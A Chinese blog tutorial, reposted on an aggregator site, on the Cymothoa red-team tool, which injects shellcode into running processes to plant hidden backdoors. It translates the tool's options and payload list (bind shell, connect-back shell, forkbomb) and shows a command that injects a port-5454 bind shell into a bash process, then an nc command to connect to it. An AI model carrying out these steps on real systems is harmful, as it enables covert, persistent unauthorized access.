【后门】cymothoa后门的利用

news/2025/1/17 23:33:16/文章来源:https://www.cnblogs.com/o-O-oO/p/18677825

# 后门工具 # 红队

cymothoa简介:

Cymothoa是一款隐秘的后门工具,通过向目标主机上活跃的进程注入恶意代码来执行后门工作,这也反向说明了,实际上Cymothoa后门会拥有和原进程相同的权限,且Cymothoa是通过向系统进程注入shellcode去执行后门,所以不会像以前写过的许多后门一样创建自己的进程,这使得它的隐蔽性提高了很多。

Cymothoa还提供了多种的攻击载荷,使得它存在很多类型的后门功能,Cymothoa后门对进程的包容性十分的广泛,基本能在常用的大部分进程中都能取得不错的效果,且还能与自启动或是其它开机自启的进程结合,从而实现持久化攻击的目的。

cymothoa的使用解析:

Cymothoa是基于ptrace库构建的,所以我多数是在Unix系统的渗透中会用到,当然在Windows上的效果实际也是不错的,只是因人而异。

Kali中有自带Cymothoa工具,也可前往以下地址下载:

https://sourceforge.net/projects/cymothoa/

输入cymothoa(注意区分大小写)即可打开,如果Kali中不带Cymothoa可输入指令下载:

apt update          # 更新软件包列表  
apt install cymothoa  # 安装cymothoa

下载完毕后再次输入cymothoa即可启动/查看工具参数:

参数大致分为三类:

Main options | Injection options | Payload arguments

分别是:主要选项 | 注入选项 | Payload参数

各大类所对应的具体参数为:

主要选项(Main options):

-p: 指定目标进程的PID(进程标识符)
-s: 指定要注入的shellcode的编号
-l: 指定用于shellcode注入的内存区域名称(默认为/lib/ld)
-m: 指定用于持久性内存的内存区域名称(默认为/lib/ld)
-h: 打印帮助屏幕
-S: 列出可用的shellcodes

注入选项(Injection options):

-f: 在注入后fork父进程
-F: 在注入后不fork父进程
-b: 创建一个payload线程
-B: 不创建payload线程
-w: 传递持久性内存地址给payload
-W: 不传递持久性内存地址给payload
-a: 使用alarm调度器
-A: 不使用alarm调度器
-t: 使用setitimer调度器
-T: 不使用setitimer调度器

Payload参数(Payload arguments):

-j: 设置定时器(秒)
-k: 设置定时器(微秒)
-x: 设置IP地址
-y: 设置端口号
-r: 设置第二个端口号
-z: 设置用户名(4字节)
-o: 设置密码(8字节)
-c: 设置脚本代码

在参数解释中也给了三个分类的具体作用供我们参考,或是直接看这三类的名字我们也能大致知道一二:

注入选项(Injection options): 允许攻击者能更细致地控制注入过程。

Payload参数(Payload arguments):这些选项允许用户设置payload的具体行为。

我们使用-S参数还能看到关于shellcode的分类:

具体作用为:

bind /bin/sh to the provided port
将/bin/sh绑定到指定的端口上。需要-y参数来指定端口号。
bind /bin/sh + fork() to the provided port
与上一个类似,但在接受连接后会fork一个新的进程。同样需要-y参数。
bind /bin/sh to tcp port with password authentication
将/bin/sh绑定到TCP端口,并需要密码认证才能连接。需要-y指定端口和-o指定密码。
/bin/sh connect back
使/bin/sh连接回指定的IP和端口。需要-x指定IP和-y指定端口。
tcp socket proxy
创建一个TCP套接字代理。需要-x, -y, 和-r参数。
script execution
执行提供的脚本代码。这可能会创建一个临时文件,需要在使用后手动删除。
forks an HTTP Server
在TCP端口8800上fork一个HTTP服务器。
serial port busybox binding
绑定到串行端口的busybox实例。这通常用于硬件攻击或特定场景的渗透测试。
forkbomb
一个简单的forkbomb,用于快速消耗系统资源。这主要用于演示或测试目的。
open cd-rom loop
无限循环地尝试打开CD-ROM驱动器。这主要用于恶作剧或测试系统的响应。
audio (knock knock knock) via /dev/dsp
通过/dev/dsp设备播放音频。这主要用于演示或引起注意。
POC alarm() scheduled shellcode
一个概念验证(Proof of Concept),使用alarm()函数调度的shellcode。
POC setitimer() scheduled shellcode
另一个概念验证,使用setitimer()函数调度的shellcode。
alarm() backdoor
使用alarm()函数创建的后门,绑定到指定端口并在接受连接时fork新进程。需要-j和-y参数。
setitimer() tail follow
使用setitimer()函数的tail跟随payload,通过UDP发送数据。需要-k, -x, 和-y参数。

cymothoa的使用过程:

在实战渗透的过程中,我们需要将此上传至目标机器中,Windows系统中需要将此工具编译成exe文件上传配合渗透。

在Kali中的位置:/usr/share/cymothoa/

可在此地址中打开终端打包文件:

也可在以下链接中下载:

https://sourceforge.net/projects/cymothoa/files/latest/download

我这边开个Ubuntu作为目标系统:

将工具上传并解压后输入ps查看进程:

选择bash进程作为目标,在实战中通常也是如此的:

./cymothoa -s 0 -p 2326 -y 5454

这条命令的作用是选择第0个Shellcode注入到进程2326中,5454为服务端口,一般于连接后门:

用nc工具直接连接即可,在Windows和Linux中都可以:

Nc -nvv xxx.xx.攻击机ip 5454

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871013.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 符号链接

Linux中的符号链接是一种特殊类型的文件,允许用户创建指向其他文件或目录的链接,便于访问和管理文件系统。创建和删除符号链接很简单,使用ln -s命令可以创建链接,而unlink和rm命令可用于删除它。用户还可以通过命令查找和处理失效的符号链接,以维护文件系统的整洁。在Linu…

在 Linux 中查看符号链接指向

在 Linux 系统中,可以通过使用 readlink、realpath 和 ls -la 命令来查看符号链接指向的目标文件或目录,选择不同命令可以满足不同的路径解析需求。在 Linux 系统中,符号链接(symbolic link)是一种特殊类型的文件,它指向另一个文件或目录。为了查看符号链接指向的目标文件…

Office 365 E5 账号申请及永久续期教程

详细介绍了如何申请微软提供的Office 365 E5管理账号、使用该账号的基本功能以及实现账号的永久续期方法,强调通过Github Action等自动化手段可以简化续期过程。续订成功通知Office 365 E5 是微软 免费 提供给开发者的 Office 临时 管理号,任何人均可申请。该账号的最大权益便…

【Windows攻防】恶意软件容器化

# windows 微软在2022年7月为了帮助用户保持安全,在Office中默认阻止了internet宏。 阻止从Internet下载的文档中的VBA宏。 接下来我们来了解一下MOTW标记,其实就是网络标记。 什么是MOTW标记? MOTW全名Mark of the Web,他是windows操作系统中的一个安全特性,为了帮助用户…

【Spring Cloud Alibaba AI】 入门与实践

一、概述 Spring AI 是 Spring 官方社区项目,旨在简化 Java AI 应用程序开发,让 Java 开发者像使用 Spring 开发普通应用一样开发 AI 应用。可参考文章《SpringAI:Java 开发的智能新利器》Spring Cloud Alibaba AI 是一个将 Spring Cloud 微服务生态与阿里巴巴 AI 能力无缝集…

Re:Re:笑死

哈哈哈哈哈博客用的很熟练嘛 闲的没事去桃花湖那边开了一圈 下午的旅程后劲儿太大了 开车的时候仿佛眼前还都是山 今晚自己和猫猫独享大床真爽啊!!吼吼 再次给你欣赏一下12的美照哈哈哈哈哈哈

阿里面试:5000qps访问一个500ms的接口,如何设计线程池的核心线程数、最大线程数? 需要多少台机器?

本文原文链接 文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 …

WSL CUDA安装

【一文解决】已安装CUDA与Pytorch但torch.cuda.is_available()为False_torch.cuda.is available返回false-CSDN博客 cuda安装,选WSL e.g.Ubuntu 20.04安装CUDA & CUDNN 手把手带你撸_ubuntu20.04安装cuda-CSDN博客 【CUDA】Ubuntu系统如何安装CUDA保姆级教程(2022年最新)_…

未来已来:探索智能家居行业的创新与突破

智能家居行业正站在新科技革命的风口浪尖,不断推动着生活方式的革新。以下是该行业在创新与突破方面的详细介绍: 1.行业发展趋势: 智能家居行业正从单品智能设备过渡至全屋智能阶段,平台生态的构建成为主要发展方向。预计到2029年,中国智能家居市场规模将达到1.09万亿元。…

【洛谷训练记录】【LGR-213-Div.4】洛谷入门赛 #31

训练情况赛后反思 模拟题差点红温,差一道字符串模拟题AK A题 问一个数 \(a\) 加多少后的个位数变成 \(b\),取出 \(a\) 的个位数,再用 \(b\) 去减,如果小于零答案再加十。 #include <bits/stdc++.h> // #define int long long #define endl \nusing namespace std;voi…

WSL2配置代理

1、关闭梯子 2、设置为mirrored模式该设置会生成 C:/Users//.wslconfig【可选】修改.wslconfig文件内容如下 [experimental] autoMemoryReclaim=gradual networkingMode=mirrored dnsTunneling=true firewall=true autoProxy=true3、打开cmd并执行wsl --shutdown 4、重新启动…

【MySQL架构】图解

你是一个程序员,你做了一个网站应用,站点里的用户数据,需要存到某个地方,方便随时读写。 很容易想到可以将数据存到文件里。 但如果数据量很大,想从大量文件数据中查找某部分数据,并更新,是一件很痛苦的事情。 那么问题就来了,有办法可以解决这个问题吗? 好办,没有什…